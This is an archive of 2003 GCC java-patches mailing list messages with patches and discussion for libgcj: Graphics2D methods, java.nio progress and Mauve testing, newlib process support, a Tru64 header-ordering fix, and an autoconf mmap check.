h1I8F6wt001308 for ; Tue, 18 Feb 2003 09:15:08 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt.Graphics2D Date: Tue, 18 Feb 2003 09:36:52 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_kCfU+RkQSNtgYmB" Message-Id: <200302180936.56485.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_kCfU+RkQSNtgYmB Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, This patch fixes java.awt.Graphics2D. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+UfCoWSOgCCdjSDsRAklIAJ9JnEc+GMtMv7zKItOi5adUef1aAwCgmkpb kirA07KoxKDEBTuOtnQApvA=3D =3DIBa9 =2D----END PGP SIGNATURE----- --Boundary-00=_kCfU+RkQSNtgYmB Content-Type: text/x-diff; charset="iso-8859-15"; name="g2d.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="g2d.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1715 diff -u -r1.1715 ChangeLog --- ChangeLog 18 Feb 2003 07:26:20 -0000 1.1715 +++ ChangeLog 18 Feb 2003 07:28:02 -0000 @@ -1,3 +1,12 @@ +2003-02-18 Michael Koch + + * gnu/awt/j2d/Graphics2DImpl.java + (getFontRenderContext): New method. + (drawGlyphVector): New method. + * java/awt/Graphics2D.java + (getFontRenderContext): New abstract method. + (drawGlyphVector): New abstract method. + 2003-02-18 Michael Koch * java/nio/channels/FileChannel.java Index: gnu/awt/j2d/Graphics2DImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/awt/j2d/Graphics2DImpl.java,v retrieving revision 1.3 diff -u -r1.3 Graphics2DImpl.java --- gnu/awt/j2d/Graphics2DImpl.java 2 Jan 2003 00:14:22 -0000 1.3 +++ gnu/awt/j2d/Graphics2DImpl.java 18 Feb 2003 07:28:02 -0000 @@ -21,6 +21,8 @@ import java.awt.Paint; import java.awt.RenderingHints; import java.awt.Stroke; +import java.awt.font.FontRenderContext; +import java.awt.font.GlyphVector; import java.awt.geom.AffineTransform; import java.awt.image.ImageObserver; import java.awt.image.BufferedImage; @@ -513,6 +515,16 @@ } public Stroke getStroke() + { + throw new UnsupportedOperationException("not implemented yet"); + } + + public FontRenderContext getFontRenderContext () + { + throw new UnsupportedOperationException("not implemented yet"); + } + + public void drawGlyphVector (GlyphVector g, float x, float y) { throw new UnsupportedOperationException("not implemented yet"); } Index: java/awt/Graphics2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Graphics2D.java,v retrieving revision 1.6 diff -u -r1.6 Graphics2D.java --- java/awt/Graphics2D.java 2 Jan 2003 00:14:22 -0000 1.6 +++ java/awt/Graphics2D.java 18 Feb 2003 07:28:02 -0000 @@ -36,6 +36,8 @@ package java.awt; +import java.awt.font.FontRenderContext; +import java.awt.font.GlyphVector; import java.awt.geom.AffineTransform; import java.awt.image.BufferedImage; import java.awt.image.BufferedImageOp; @@ -151,5 +153,7 @@ public abstract void clip(Shape s); - // public abstract FontRenderContext getFontRenderContext(); + public abstract FontRenderContext getFontRenderContext (); + + public abstract void drawGlyphVector (GlyphVector g, float x, float y); } --Boundary-00=_kCfU+RkQSNtgYmB-- From java-patches-return-6191-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 08:15:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13911 invoked by alias); 18 Feb 2003 08:15:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13900 invoked from network); 18 Feb 2003 08:15:29 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.20) by 172.16.49.205 with SMTP; 18 Feb 2003 08:15:29 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-73-013.ewetel.net [80.228.73.13]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1I8F6x1001308; Tue, 18 Feb 2003 09:15:27 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] java.nio -- important, please test on your platform Date: Tue, 18 Feb 2003 09:41:59 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302141345.02102.konqueror@gmx.de> <200302151041.50645.konqueror@gmx.de> <87d6lqii8v.fsf@fleche.redhat.com> In-Reply-To: <87d6lqii8v.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302180941.59252.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 18. Februar 2003 00:45 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> The API is now 100%, thanks to Jesse Rosenstock for this > patch. > > I'm checking this in to 3.3. Thanks. Thanks. > The API is 100% -- how is the implementation? > I'm wondering if it is time for a news item. The implementation is far from working in CVS. I have to submit some=20 more patches soon. Currently I rewrite java.io.FileInputStream to use=20 java.nio.FileChannel. I think we have testcases for java.io in Mauve.=20 Unfortunately make check doesnt do the Mauve tests here. Can you help=20 me with this ? With the news item we should at least wait until some examples work=20 from a fresh unpatched CVS checkout. ;-) Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+UfHXWSOgCCdjSDsRAr/4AJ9/nLqatMLv40xeCzOpnoOkRBsE7QCgldGm bHrSzvmoihF6z7/jKGCXoH4=3D =3DVBwY =2D----END PGP SIGNATURE----- From java-patches-return-6192-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 08:30:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22389 invoked by alias); 18 Feb 2003 08:30:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22382 invoked from network); 18 Feb 2003 08:30:34 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 18 Feb 2003 08:30:34 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18l38S-0006iv-00; Tue, 18 Feb 2003 09:29:52 +0100 Subject: Re: [PATCH] java.nio -- important, please test on your platform From: Mark Wielaard To: Michael Koch Cc: tromey@redhat.com, java-patches@gcc.gnu.org In-Reply-To: <200302180941.59252.konqueror@gmx.de> References: <200302141345.02102.konqueror@gmx.de> <200302151041.50645.konqueror@gmx.de> <87d6lqii8v.fsf@fleche.redhat.com> <200302180941.59252.konqueror@gmx.de> Content-Type: text/plain Organization: Message-Id: <1045557012.12643.28.camel@elsschot> Mime-Version: 1.0 Date: 18 Feb 2003 09:30:12 +0100 Content-Transfer-Encoding: 7bit Hi, On Tue, 2003-02-18 at 09:41, Michael Koch wrote: > I think we have testcases for java.io in Mauve. > Unfortunately make check doesnt do the Mauve tests here. Can you help > me with this ? There is a little bit of information on this page: http://gcc.gnu.org/install/test.html The Mauve Project provides a suite of tests for the Java Class Libraries. This suite can be run as part of libgcj testing by placing the Mauve tree within the libjava testsuite at libjava/testsuite/libjava.mauve/mauve, or by specifying the location of that tree when invoking make, as in make MAUVEDIR=~/mauve check. See http://sources.redhat.com/mauve/cvs.html for how to get the latest version. > With the news item we should at least wait until some examples work > from a fresh unpatched CVS checkout. ;-) BTW. sorry, I didn't have time to try out the example you send me this weekend. Cheers, Mark From java-patches-return-6193-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 10:55:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13163 invoked by alias); 18 Feb 2003 10:55:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13150 invoked from network); 18 Feb 2003 10:55:38 -0000 Received: from unknown (HELO localhost.localdomain) (217.112.227.117) by 172.16.49.205 with SMTP; 18 Feb 2003 10:55:38 -0000 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id h1IB557Z020159; Tue, 18 Feb 2003 12:05:06 +0100 Received: from localhost (ronald@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) with ESMTP id h1IB54r6020146; Tue, 18 Feb 2003 12:05:05 +0100 X-Authentication-Warning: localhost.localdomain: ronald owned process doing -bs Date: Tue, 18 Feb 2003 12:05:04 +0100 (CET) From: Ronald Landheer-Cieslak X-X-Sender: ronald@localhost.localdomain To: Tom Tromey cc: Andrew Haley , , Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy In-Reply-To: <878yweihvy.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 17 Feb 2003, Tom Tromey wrote: > >>>>> "Ronald" == Ronald Landheer-Cieslak writes: > Ronald> Configure options for the cross-compiler are: > Ronald> --prefix=$HOME/tmp --target=i386-unknown-freebsd4.7 --with-newlib > It seems to me that a newlib build shouldn't enable Process support in > libgcj. So a different patch would be to change configure.in to use > the "Ecos" (a misnomer) process (non-)support instead. > What do you think about that? Do fork(), exec() and waitpid() really > work while signals do not? If so, that is very weird. Anyway, > assuming this makes sense, could you write the appropriate > configure.in patch? > There's other code around that assumes the existence of signals. For > instance, see the "*-signal.h" files in include. You'll also need to > deal with this somehow. Perhaps all newlib ports should use > -fcheck-references. > I think you'll find the newlib support isn't very up-to-date. It has > rotted a bit from disuse. The problem is: I really don't know enough about gcc internals to start writing patches of any significance. That, and use of Newlib just isn't important enough for me to spend significant amounts of time on patching gcc to support Newlib correctly. The patch I sent was the result of getting an experimental gcc cross-compiler to work, and seemed harmless enough to send in. It was not the result of any kind of in-depth research and, as I have a working cross-compiler at the moment, I probably won't get the time allocated to make a proper patch (the business I work for is just not that philantropic). Don't get me wrong: I would *love* to spend more time on this and get you a proper patch (with copyright assignment as needed) but at the moment, that is simply not an option. If you wish, I can fill in a problem report describing the problem in a bit more detail, but I'm afraid that's about all I can do. You should know that I am the first developer in my company that has any experience at all with free software - and thus I am the only advocate for free software here. (I am also the only one who knows his way around a *NIX box, always uses Cygwin and/or MinGW when working under Windoze, etc.) Sorry, but I'm afraid I'm confined to trivial contributions for the time being. rlc From java-patches-return-6194-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 14:27:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17011 invoked by alias); 18 Feb 2003 14:27:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16976 invoked from network); 18 Feb 2003 14:27:46 -0000 Received: from unknown (HELO momotombo.TechFak.Uni-Bielefeld.DE) (129.70.136.107) by 172.16.49.205 with SMTP; 18 Feb 2003 14:27:46 -0000 Received: from xayide.TechFak.Uni-Bielefeld.DE.TechFak.Uni-Bielefeld.DE (xayide.TechFak.Uni-Bielefeld.DE [129.70.137.35]) by momotombo.TechFak.Uni-Bielefeld.DE (8.11.6+Sun/8.11.6/TechFak/pk+ro20010720) with ESMTP id h1IERjD29812; Tue, 18 Feb 2003 15:27:45 +0100 (MET) From: Rainer Orth Message-ID: <15954.17118.560535.961535@xayide.TechFak.Uni-Bielefeld.DE> Date: Tue, 18 Feb 2003 15:27:42 +0100 (MET) To: gcc-patches@gcc.gnu.org Cc: java-patches@gcc.gnu.org Subject: 3.3 PATCH: Fix libjava bootstrap failure on Tru64 UNIX Mime-Version: 1.0 (generated by tm-edit 7.106) Content-Type: text/plain; charset=US-ASCII libjava didn't bootstrap on the 3.3 branch on alpha-dec-osf5.1: to get the proper prototypes for accept() etc., platform.h (include/posix.h on that platform) needs to be included before all system headers so the definition of _POSIX_PII_SOCKET is effective. This patch fixes those sources that violated this requirement. At the same time, it uses the <> form for all inclusions of platform.h: the header is located in the libjava/include directory in the build tree, exactly the same location as config.h which is always included as . platform.h should be handled the same way for consistency. Even with this fix, bootstrap didn't complete since the system headers ( in particular) provide macro definitions of e.g. accept that mutilate the method declarations in libjava/java/net/SocketImpl.h. On the 3.2 branch, this has been avoided by #undef'ing accept and friends in java/net/natPlainSocketImpl.cc. Those #undef's have been lost on the 3.3 branch when part of the code got moved to include/posix.h. This patch restores the #undef's (but without the older #ifdef accept #undef accept #endif ): it's harmless to #undef a macro that hasn't been defined. With those changes, 3.3 bootstraps successfully. Ok for the 3.3 branch? mainline suffers from the same problem, but doesn't bootstrap at all for unrelated reasons, so I cannot check there. The 3.2 branch may or may not be affected by some of the problems: I need to check there as well. Rainer ----------------------------------------------------------------------------- Rainer Orth, Faculty of Technology, Bielefeld University Tue Feb 18 12:30:44 2003 Rainer Orth * gnu/gcj/runtime/natStackTrace.cc: Include platform.h immediately after config.h. Use <> for consistency. * java/lang/natObject.cc: Likewise. * java/lang/natRuntime.cc: Likewise. * java/lang/natSystem.cc: Likewise. * java/util/natTimeZone.cc: Likewise. * win32.cc: Likewise. * include/posix.h (fcntl, socket, connect, close, bind, accept, listen, write, read): Undef to avoid interference from OS macros. Index: win32.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/win32.cc,v retrieving revision 1.12 diff -u -p -r1.12 win32.cc --- win32.cc 24 Apr 2002 01:33:19 -0000 1.12 +++ win32.cc 18 Feb 2003 13:13:27 -0000 @@ -9,11 +9,11 @@ Libgcj License. Please consult the file details. */ #include +#include #include #include #include -#include "platform.h" #include #include Index: gnu/gcj/runtime/natStackTrace.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/gcj/runtime/natStackTrace.cc,v retrieving revision 1.2.6.1 diff -u -p -r1.2.6.1 natStackTrace.cc --- gnu/gcj/runtime/natStackTrace.cc 28 Jan 2003 19:10:57 -0000 1.2.6.1 +++ gnu/gcj/runtime/natStackTrace.cc 18 Feb 2003 13:13:30 -0000 @@ -16,6 +16,7 @@ details. */ */ #include +#include #include @@ -30,8 +31,6 @@ details. */ #include #include #include - -#include "platform.h" #include Index: include/posix.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/posix.h,v retrieving revision 1.13.2.2 diff -u -p -r1.13.2.2 posix.h --- include/posix.h 7 Jan 2003 16:46:53 -0000 1.13.2.2 +++ include/posix.h 18 Feb 2003 13:13:30 -0000 @@ -60,6 +60,8 @@ _Jv_platform_close_on_exec (jint fd) ::fcntl (fd, F_SETFD, FD_CLOEXEC); } +#undef fcntl + #ifdef JV_HASH_SYNCHRONIZATION inline void _Jv_platform_usleep (unsigned long usecs) @@ -80,18 +82,24 @@ _Jv_socket (int domain, int type, int pr return ::socket (domain, type, protocol); } +#undef socket + inline int _Jv_connect (jint fd, sockaddr *ptr, int len) { return ::connect (fd, ptr, len); } +#undef connect + inline int _Jv_close (jint fd) { return ::close (fd); } +#undef close + // Avoid macro definitions of bind from system headers, e.g. on // Solaris 7 with _XOPEN_SOURCE. FIXME inline int @@ -100,6 +108,8 @@ _Jv_bind (int fd, struct sockaddr *addr, return ::bind (fd, addr, addrlen); } +#undef bind + // Same problem with accept on Tru64 UNIX with _POSIX_PII_SOCKET inline int _Jv_accept (int fd, struct sockaddr *addr, socklen_t *addrlen) @@ -107,23 +117,31 @@ _Jv_accept (int fd, struct sockaddr *add return ::accept (fd, addr, addrlen); } +#undef accept + inline int _Jv_listen (int fd, int backlog) { return ::listen (fd, backlog); } +#undef listen + inline int _Jv_write(int s, void *buf, int len) { return ::write (s, buf, len); } +#undef write + inline int _Jv_read(int s, void *buf, int len) { return ::read (s, buf, len); } + +#undef read #endif /* DISABLE_JAVA_NET */ Index: java/lang/natObject.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natObject.cc,v retrieving revision 1.23.4.1 diff -u -p -r1.23.4.1 natObject.cc --- java/lang/natObject.cc 31 Dec 2002 17:44:43 -0000 1.23.4.1 +++ java/lang/natObject.cc 18 Feb 2003 13:13:30 -0000 @@ -9,6 +9,7 @@ Libgcj License. Please consult the file details. */ #include +#include #include @@ -27,8 +28,6 @@ details. */ #include #include #include - -#include "platform.h" #ifdef LOCK_DEBUG # include Index: java/lang/natRuntime.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natRuntime.cc,v retrieving revision 1.29.2.2 diff -u -p -r1.29.2.2 natRuntime.cc --- java/lang/natRuntime.cc 3 Feb 2003 21:23:14 -0000 1.29.2.2 +++ java/lang/natRuntime.cc 18 Feb 2003 13:13:30 -0000 @@ -9,6 +9,7 @@ Libgcj License. Please consult the file details. */ #include +#include #include @@ -32,8 +33,6 @@ details. */ #include #include - -#include "platform.h" #ifdef HAVE_PWD_H #include Index: java/lang/natSystem.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natSystem.cc,v retrieving revision 1.54 diff -u -p -r1.54 natSystem.cc --- java/lang/natSystem.cc 13 May 2002 20:10:36 -0000 1.54 +++ java/lang/natSystem.cc 18 Feb 2003 13:13:35 -0000 @@ -9,6 +9,7 @@ Libgcj License. Please consult the file details. */ #include +#include #include #include @@ -23,8 +24,6 @@ details. */ #include #include #include - -#include "platform.h" Index: java/util/natTimeZone.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/util/natTimeZone.cc,v retrieving revision 1.5 diff -u -p -r1.5 natTimeZone.cc --- java/util/natTimeZone.cc 4 Jun 2002 19:30:20 -0000 1.5 +++ java/util/natTimeZone.cc 18 Feb 2003 13:13:35 -0000 @@ -9,11 +9,10 @@ Libgcj License. Please consult the file details. */ #include +#include #include #include - -#include "platform.h" #include #include From java-patches-return-6195-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Feb 18 16:04:58 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13096 invoked by alias); 18 Feb 2003 16:04:57 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13057 invoked from network); 18 Feb 2003 16:04:54 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 18 Feb 2003 16:04:54 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-67-015.ewetel.net [80.228.67.15]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1IG4pwt001276; Tue, 18 Feb 2003 17:04:52 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: configure check for sys/mman.h Date: Tue, 18 Feb 2003 18:04:43 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200301141104.04692.konqueror@gmx.de> <200301210727.04348.konqueror@gmx.de> <87el76rz6p.fsf@fleche.redhat.com> In-Reply-To: <87el76rz6p.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_remU+MHDq5EfHSu" Message-Id: <200302181804.43982.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_remU+MHDq5EfHSu Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 21. Januar 2003 22:05 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> Is this patch not good enough for review ? > Michael> (or too complicated ;-)) > > No, I'm just behind. > > I wonder if those checks will be enough. Historically there have > been lots of configury problems with mmap(). If we fall back to > something sensible on mmap failure, then it won't matter too much. I've digged a little bit more and found a "better" solution using an=20 autoconf feature. Please review and comment on this. We will need mmap very soon now for java.nio. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+UmerWSOgCCdjSDsRAvhzAJ9BeuJjxwg5mzBkeWfaSV4ARiHTOQCgmQLV sN4n1LXnl1XDumdIr68Zy7E=3D =3DA7fR =2D----END PGP SIGNATURE----- --Boundary-00=_remU+MHDq5EfHSu Content-Type: text/x-diff; charset="iso-8859-1"; name="mmap.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="mmap.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1715 diff -u -r1.1715 ChangeLog --- ChangeLog 18 Feb 2003 07:26:20 -0000 1.1715 +++ ChangeLog 18 Feb 2003 16:03:07 -0000 @@ -1,5 +1,11 @@ 2003-02-18 Michael Koch + * configure.in: Added check for memory mapping of files. + * configure: Regenerated. + * config.h.in: Regenerated. + +2003-02-18 Michael Koch + * java/nio/channels/FileChannel.java (toString): New implementation, added documentation. (map): Added exception documentation. Index: configure =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure,v retrieving revision 1.168 diff -u -r1.168 configure --- configure 13 Feb 2003 02:51:26 -0000 1.168 +++ configure 18 Feb 2003 16:03:11 -0000 @@ -8260,6 +8260,272 @@ fi +for ac_hdr in unistd.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:8268: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:8278: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in getpagesize +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:8307: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:8335: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +echo $ac_n "checking for working mmap""... $ac_c" 1>&6 +echo "configure:8360: checking for working mmap" >&5 +if eval "test \"`echo '$''{'ac_cv_func_mmap_fixed_mapped'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test "$cross_compiling" = yes; then + ac_cv_func_mmap_fixed_mapped=no +else + cat > conftest.$ac_ext < +#include +#include + +/* This mess was copied from the GNU getpagesize.h. */ +#ifndef HAVE_GETPAGESIZE +# ifdef HAVE_UNISTD_H +# include +# endif + +/* Assume that all systems that can run configure have sys/param.h. */ +# ifndef HAVE_SYS_PARAM_H +# define HAVE_SYS_PARAM_H 1 +# endif + +# ifdef _SC_PAGESIZE +# define getpagesize() sysconf(_SC_PAGESIZE) +# else /* no _SC_PAGESIZE */ +# ifdef HAVE_SYS_PARAM_H +# include +# ifdef EXEC_PAGESIZE +# define getpagesize() EXEC_PAGESIZE +# else /* no EXEC_PAGESIZE */ +# ifdef NBPG +# define getpagesize() NBPG * CLSIZE +# ifndef CLSIZE +# define CLSIZE 1 +# endif /* no CLSIZE */ +# else /* no NBPG */ +# ifdef NBPC +# define getpagesize() NBPC +# else /* no NBPC */ +# ifdef PAGESIZE +# define getpagesize() PAGESIZE +# endif /* PAGESIZE */ +# endif /* no NBPC */ +# endif /* no NBPG */ +# endif /* no EXEC_PAGESIZE */ +# else /* no HAVE_SYS_PARAM_H */ +# define getpagesize() 8192 /* punt totally */ +# endif /* no HAVE_SYS_PARAM_H */ +# endif /* no _SC_PAGESIZE */ + +#endif /* no HAVE_GETPAGESIZE */ + +#ifdef __cplusplus +extern "C" { void *malloc(unsigned); } +#else +char *malloc(); +#endif + +int +main() +{ + char *data, *data2, *data3; + int i, pagesize; + int fd; + + pagesize = getpagesize(); + + /* + * First, make a file with some known garbage in it. + */ + data = malloc(pagesize); + if (!data) + exit(1); + for (i = 0; i < pagesize; ++i) + *(data + i) = rand(); + umask(0); + fd = creat("conftestmmap", 0600); + if (fd < 0) + exit(1); + if (write(fd, data, pagesize) != pagesize) + exit(1); + close(fd); + + /* + * Next, try to mmap the file at a fixed address which + * already has something else allocated at it. If we can, + * also make sure that we see the same garbage. + */ + fd = open("conftestmmap", O_RDWR); + if (fd < 0) + exit(1); + data2 = malloc(2 * pagesize); + if (!data2) + exit(1); + data2 += (pagesize - ((int) data2 & (pagesize - 1))) & (pagesize - 1); + if (data2 != mmap(data2, pagesize, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_FIXED, fd, 0L)) + exit(1); + for (i = 0; i < pagesize; ++i) + if (*(data + i) != *(data2 + i)) + exit(1); + + /* + * Finally, make sure that changes to the mapped area + * do not percolate back to the file as seen by read(). + * (This is a bug on some variants of i386 svr4.0.) + */ + for (i = 0; i < pagesize; ++i) + *(data2 + i) = *(data2 + i) + 1; + data3 = malloc(pagesize); + if (!data3) + exit(1); + if (read(fd, data3, pagesize) != pagesize) + exit(1); + for (i = 0; i < pagesize; ++i) + if (*(data + i) != *(data3 + i)) + exit(1); + close(fd); + unlink("conftestmmap"); + exit(0); +} + +EOF +if { (eval echo configure:8508: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext} && (./conftest; exit) 2>/dev/null +then + ac_cv_func_mmap_fixed_mapped=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -fr conftest* + ac_cv_func_mmap_fixed_mapped=no +fi +rm -fr conftest* +fi + +fi + +echo "$ac_t""$ac_cv_func_mmap_fixed_mapped" 1>&6 +if test $ac_cv_func_mmap_fixed_mapped = yes; then + cat >> confdefs.h <<\EOF +#define HAVE_MMAP 1 +EOF + +fi + for ac_prog in perl do Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.150 diff -u -r1.150 configure.in --- configure.in 13 Feb 2003 02:51:26 -0000 1.150 +++ configure.in 18 Feb 2003 16:03:11 -0000 @@ -970,6 +970,7 @@ [AC_MSG_RESULT(no)])])]) AC_FUNC_ALLOCA +AC_FUNC_MMAP AC_CHECK_PROGS(PERL, perl, false) Index: include/config.h.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/config.h.in,v retrieving revision 1.47 diff -u -r1.47 config.h.in --- include/config.h.in 31 Jan 2003 17:59:00 -0000 1.47 +++ include/config.h.in 18 Feb 2003 16:03:11 -0000 @@ -13,6 +13,9 @@ /* Define if you have and it should be used (not on Ultrix). */ #undef HAVE_ALLOCA_H +/* Define if you have a working `mmap' system call. */ +#undef HAVE_MMAP + /* Define if you have that is POSIX.1 compatible. */ #undef HAVE_SYS_WAIT_H @@ -216,6 +219,9 @@ /* Define if you have the gethostname function. */ #undef HAVE_GETHOSTNAME + +/* Define if you have the getpagesize function. */ +#undef HAVE_GETPAGESIZE /* Define if you have the getpwuid_r function. */ #undef HAVE_GETPWUID_R --Boundary-00=_remU+MHDq5EfHSu-- From 